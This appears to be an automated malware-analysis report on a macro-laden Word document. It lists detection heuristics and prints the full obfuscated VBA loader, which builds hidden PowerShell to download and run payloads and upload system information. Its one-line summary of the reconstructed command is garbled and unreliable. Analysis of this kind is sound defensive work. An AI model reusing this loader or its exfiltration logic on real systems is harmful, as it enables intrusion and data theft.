MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The sample is a malicious OOXML document containing obfuscated VBA macros. The Document_Open macro executes an auto-exec loader that uses CreateObject to launch PowerShell. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "$env:USERPROFILE/Documents/file.exe"', indicating it downloads and executes a second-stage payload from a remote source. This is a common technique for initial access via spearphishing attachments.
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Public Sub Main() Set FRysWnMxHe = CreateObject(WyfazEQPUs() + AvocFLLYWi()) FRysWnMxHe.ShowWindow! = 1 -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Public Sub Main() Set FRysWnMxHe = CreateObject(WyfazEQPUs() + AvocFLLYWi()) FRysWnMxHe.ShowWindow! = 1 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Public Sub Document_Open() Main -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 9900 bytes |
SHA-256: cd957b31130363fb229c2686b09e742af415e3402586c787c2cc2702f174572f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
87 of 137 identifiers look randomly generated (e.g. 'AgmleRGLDd'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Main
End Sub
Public Sub Main()
Set FRysWnMxHe = CreateObject(WyfazEQPUs() + AvocFLLYWi())
FRysWnMxHe.ShowWindow! = 1
oNNTfllotP = CreateObject(WyfazEQPUs()).Create(BzWxNFgaWy(), iuYTMLNKAQ(), FRysWnMxHe, iuYTMLNKAQ())
End Sub
Public Function BzWxNFgaWy()
BzWxNFgaWy = BZVEZYvaeC() + RFROqiGAsy() + SYwaxQFdFn() + bsTtNsIrSt() + YfyvpxtdsH() + qwaHVenBFw() + OcLhfgnwLp()
End Function
Public Function BZVEZYvaeC()
BZVEZYvaeC = WToZzcWjaR() + "ell $" + RmMaNSZHRY() + PDwWygobun() + "/file.e"
End Function
Public Function WToZzcWjaR()
WToZzcWjaR = "pow" + "ersh"
End Function
Public Function EgqHMQXLXT()
EgqHMQXLXT = "Web" + "C =&"
End Function
Public Function yJzrmUuOUO()
yJzrmUuOUO = EgqHMQXLXT() + "('ne" + "w-object"
End Function
Public Function RmMaNSZHRY()
RmMaNSZHRY = yJzrmUuOUO() + "')Ne" + "t.webc"
End Function
Public Function JSTqCgSmtO()
JSTqCgSmtO = "lient;$"
End Function
Public Function ZycNPEiNOj()
ZycNPEiNOj = "vari = $e" + "nv:use"
End Function
Public Function qKfOiYgaom()
qKfOiYgaom = "rprofile" + "+'/Doc"
End Function
Public Function xDNwWKIGGu()
xDNwWKIGGu = "uments"
End Function
Public Function PDwWygobun()
PDwWygobun = JSTqCgSmtO() + ZycNPEiNOj() + qKfOiYgaom() + xDNwWKIGGu()
End Function
Public Function RFROqiGAsy()
RFROqiGAsy = gpxyyVPtSL() + mnhJKgQGbs() + rFHhTkoMJj() + wVqSrHSzoS()
End Function
Public Function AtTBRJlRjG()
AtTBRJlRjG = "xe'" + ";$va"
End Function
Public Function kAVuEdkaPM()
kAVuEdkaPM = "ri2 =" + " $env:u"
End Function
Public Function gpxyyVPtSL()
gpxyyVPtSL = AtTBRJlRjG() + kAVuEdkaPM() + "serprof"
End Function
Public Function IdGAJyLWDE()
IdGAJyLWDE = "ile+'/D" + "ocumen"
End Function
Public Function RrqHqOQeRb()
RrqHqOQeRb = "p.txt';" + "$Web"
End Function
Public Function rFHhTkoMJj()
rFHhTkoMJj = RrqHqOQeRb() + "C.Downl"
End Function
Public Function mnhJKgQGbs()
mnhJKgQGbs = IdGAJyLWDE() + "ts/tem"
End Function
Public Function etgtvQwEqc()
etgtvQwEqc = "oadfil" + "e('htt"
End Function
Public Function hDnrbuEDmR()
hDnrbuEDmR = etgtvQwEqc() + "p://loc" + "alhos"
End Function
Public Function kINgnijAQp()
kINgnijAQp = "t/sys" + "info.t" + "xt',$va"
End Function
Public Function wVqSrHSzoS()
wVqSrHSzoS = hDnrbuEDmR() + kINgnijAQp()
End Function
Public Function SYwaxQFdFn()
SYwaxQFdFn = mPxXsCkmGj()
End Function
Public Function vONfHOaScx()
vONfHOaScx = "ri2" + ");$syst"
End Function
Public Function AgmleRGLDd()
AgmleRGLDd = "eminf"
End Function
Public Function dbgWgYOjTa()
dbgWgYOjTa = vONfHOaScx() + AgmleRGLDd() + "o = Inv"
End Function
Public Function wczbmRiQfP()
wczbmRiQfP = "oke-Ex" + "pressi"
End Function
Public Function yGoVXqAYfG()
yGoVXqAYfG = "on (get" + "-cont"
End Function
Public Function sBgzzaxbLc()
sBgzzaxbLc = "ent -pa" + "th $va"
End Function
Public Function buYbxSpqLG()
buYbxSpqLG = wczbmRiQfP() + yGoVXqAYfG() + sBgzzaxbLc()
End Function
Public Function BrIzDBaMOn()
BrIzDBaMOn = "ri2);$W" + "ebC.Dow"
End Function
Public Function GUNsruLeHe()
GUNsruLeHe = "nloadf" + "ile('h" + "ttp://l"
End Function
Public Function HfNTScWRKD()
HfNTScWRKD = BrIzDBaMOn() + GUNsruLeHe()
End Function
Public Function ecmoPYfTob()
ecmoPYfTob = "ocalho"
End Function
Public Function ofxrzvAzaO()
ofxrzvAzaO = ecmoPYfTob() + "st/pa"
End Function
Public Function SePnXglLDb()
SePnXglLDb = ofxrzvAzaO() + "yl"
End Function
Public Function mPxXsCkmGj()
mPxXsCkmGj = dbgWgYOjTa() + buYbxSpqLG() + HfNTScWRKD() + SePnXglLDb()
End Function
Public Function bsTtNsIrSt()
bsTtNsIrSt = YCzjhvvXft() + LgBXXkoNHQ() + UNMlLEeQIp()
End Function
Public Function lDyXSespeg()
lDyXSespeg = "oad" + "s.txt'"
End Function
Public Function CrRrRIDTEh()
CrRrRIDTEh = lDyXSespeg() + ",$va" + "ri2)"
End Function
Public Function fCyjEXrJwJ()
fCyjEXrJwJ = ";$pat" + "h = ((g"
End Function
Public Function XdqiwcRqjp()
XdqiwcRqjp = fCyjEXrJwJ() + "et-con" + "tent -p"
End Function
Public Function YCzjhvvXft()
YCzjhvvXft = CrRrRIDTEh() + XdqiwcRqjp()
End Function
Public Function FpcsZYjiXB()
FpcsZYjiXB = "ath $va" + "ri2 | W"
End Function
Public Function KilWWhpCbh()
KilWWhpCbh = "here-Ob" + "ject {"
End Function
Public Function jXyYUikpzC()
jXyYUikpzC = FpcsZYjiXB() + KilWWhpCbh()
End Function
Public Function yrHleuKqIV()
yrHleuKqIV = jXyYUikpzC() + "$_ -li" + "ke ($s"
End Function
Public Function LgBXXkoNHQ()
LgBXXkoNHQ = yrHleuKqIV() + "ystemi" + "nfo + '"
End Function
Public Function cWBtIRhBRn()
cWBtIRhBRn = "*')}) "
End Function
Public Function mByJMkIgXf()
mByJMkIgXf = "-spl"
End Function
Public Function UNMlLEeQIp()
UNMlLEeQIp = cWBtIRhBRn() + mByJMkIgXf()
End Function
Public Function YfyvpxtdsH()
YfyvpxtdsH = UPwTrYZtjQ() + VLzKzqMYMC() + VgHZvaWgYl() + woXQQfZWml()
End Function
Public Function ozlPulKlbd()
ozlPulKlbd = "it '#'" + ")[1"
End Function
Public Function dJctTdjcRI()
dJctTdjcRI = ozlPulKlbd() + "];$We"
End Function
Public Function VoCnvojTEW()
VoCnvojTEW = "bC.D" + "ownlo"
End Function
Public Function QkBJwBnRmB()
QkBJwBnRmB = "adfi"
End Function
Public Function gofYscfDGs()
gofYscfDGs = "ttp:" + "//lo"
End Function
Public Function LRbNpRxkPq()
LRbNpRxkPq = "le('h" + gofYscfDGs()
End Function
Public Function UPwTrYZtjQ()
UPwTrYZtjQ = dJctTdjcRI() + VoCnvojTEW() + QkBJwBnRmB() + LRbNpRxkPq()
End Function
Public Function XcMAhuUnqE()
XcMAhuUnqE = "calho" + "st/' "
End Function
Public Function ZzwoVomjKC()
ZzwoVomjKC = "+ $pa" + "th,$"
End Function
Public Function VLzKzqMYMC()
VLzKzqMYMC = XcMAhuUnqE() + ZzwoVomjKC() + "vari)"
End Function
Public Function tAEiRDgTtD()
tAEiRDgTtD = ";New-" + "Ite"
End Function
Public Function RtLWyjnfyk()
RtLWyjnfyk = tAEiRDgTtD() + "m ($e" + "nv:us"
End Function
Public Function VgHZvaWgYl()
VgHZvaWgYl = tAEiRDgTtD() + "m ($e" + "nv:us"
End Function
Public Function wFCmXQJgJS()
wFCmXQJgJS = "file "
End Function
Public Function OxIvDANHwe()
OxIvDANHwe = "+ '\t"
End Function
Public Function APARMJdHyl()
APARMJdHyl = "est"
End Function
Public Function VvYINWPlRE()
VvYINWPlRE = ".txt'"
End Function
Public Function woXQQfZWml()
woXQQfZWml = wFCmXQJgJS() + OxIvDANHwe() + APARMJdHyl() + VvYINWPlRE()
End Function
Public Function qwaHVenBFw()
qwaHVenBFw = LsrCfNKpcp() + jasbhhEAMJ() + RAPcgnpoxD()
End Function
Public Function ToCRHhlJEE()
ToCRHhlJEE = ");Se"
End Function
Public Function BYIXvautgO()
BYIXvautgO = "t-Co"
End Function
Public Function YbeVHHOvII()
YbeVHHOvII = "nten"
End Function
Public Function BApTGbYXTr()
BApTGbYXTr = "t ($en"
End Function
Public Function CtRZAsIVcp()
CtRZAsIVcp = YbeVHHOvII() + BApTGbYXTr()
End Function
Public Function tzpvzrhyZN()
tzpvzrhyZN = "v:use"
End Function
Public Function nnbnHvoCrB()
nnbnHvoCrB = "rpro" + "fil"
End Function
Public Function HomMaSeDNk()
HomMaSeDNk = "e + '\" + "test.t"
End Function
Public Function FSfwGGmGwL()
FSfwGGmGwL = tzpvzrhyZN() + nnbnHvoCrB() + HomMaSeDNk() + "xt') $s"
End Function
Public Function LsrCfNKpcp()
LsrCfNKpcp = ToCRHhlJEE() + BYIXvautgO() + CtRZAsIVcp() + FSfwGGmGwL() + "yste"
End Function
Public Function bMATjgZivm()
bMATjgZivm = "minfo;$W"
End Function
Public Function xIVkWGlfbn()
xIVkWGlfbn = bMATjgZivm() + "ebC.U" + "ploa"
End Function
Public Function VCBOGABHPM()
VCBOGABHPM = "dfil" + "e('ht"
End Function
Public Function OeRADPrrjX()
OeRADPrrjX = VCBOGABHPM() + "tp:/" + "/loc"
End Function
Public Function jasbhhEAMJ()
jasbhhEAMJ = xIVkWGlfbn() + OeRADPrrjX()
End Function
Public Function ILgGOtNjwt()
ILgGOtNjwt = "alho" + "st/t"
End Function
Public Function RytRxkonJV()
RytRxkonJV = "est.t" + "xt',("
End Function
Public Function RAPcgnpoxD()
RAPcgnpoxD = ILgGOtNjwt() + RytRxkonJV() + "$e"
End Function
Public Function OcLhfgnwLp()
OcLhfgnwLp = TfPnBgUZrL() + KzayZlXNRV()
End Function
Public Function TfPnBgUZrL()
TfPnBgUZrL = "nv:use" + "rprof" + "ile + '\te"
HvpuHezaKJ = ";[Diagno"
TfPnBgUZrL = TfPnBgUZrL + "st.txt'))" + HvpuHezaKJ
End Function
Public Function KzayZlXNRV()
KzayZlXNRV = "stics.Pro" + "cess]:"
FZIQlMvTCz = "ari);"
KzayZlXNRV = KzayZlXNRV + ":Sta" + "rt($v" + FZIQlMvTCz
End Function
Public Function WyfazEQPUs()
WyfazEQPUs = arVnHugYyx() + uoKadlUGIS() + EwjULORcHb() + vLAcsSwYzJ() + mdpEwFcsmq() + gOWJqRYRDU()
End Function
Public Function arVnHugYyx()
arVnHugYyx = "win"
End Function
Public Function uoKadlUGIS()
uoKadlUGIS = "mgm"
End Function
Public Function EwjULORcHb()
EwjULORcHb = "ts:W"
End Function
Public Function vLAcsSwYzJ()
vLAcsSwYzJ = "in32"
End Function
Public Function mdpEwFcsmq()
mdpEwFcsmq = "_Pro"
End Function
Public Function gOWJqRYRDU()
gOWJqRYRDU = "cess"
End Function
Public Function AvocFLLYWi()
AvocFLLYWi = bKTetgFGAo() + WsAKdYaXhm() + eawMByjuSN()
End Function
Public Function bKTetgFGAo()
bKTetgFGAo = "Sta"
End Function
Public Function WsAKdYaXhm()
WsAKdYaXhm = "rt"
End Function
Public Function eawMByjuSN()
eawMByjuSN = "up"
End Function
Public Function iuYTMLNKAQ()
iuYTMLNKAQ = Null
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 99840 bytes |
SHA-256: bce2418ec398f0f441ba8c078f166f760bc285a0210f4ca9eb6067fb4d241fd9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
460 of 696 identifiers look randomly generated (e.g. 'xdRc4d52p55TPeeUFPNg4sB7XVgxvqu6Kn2zr') — consistent with name-mangling obfuscation.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.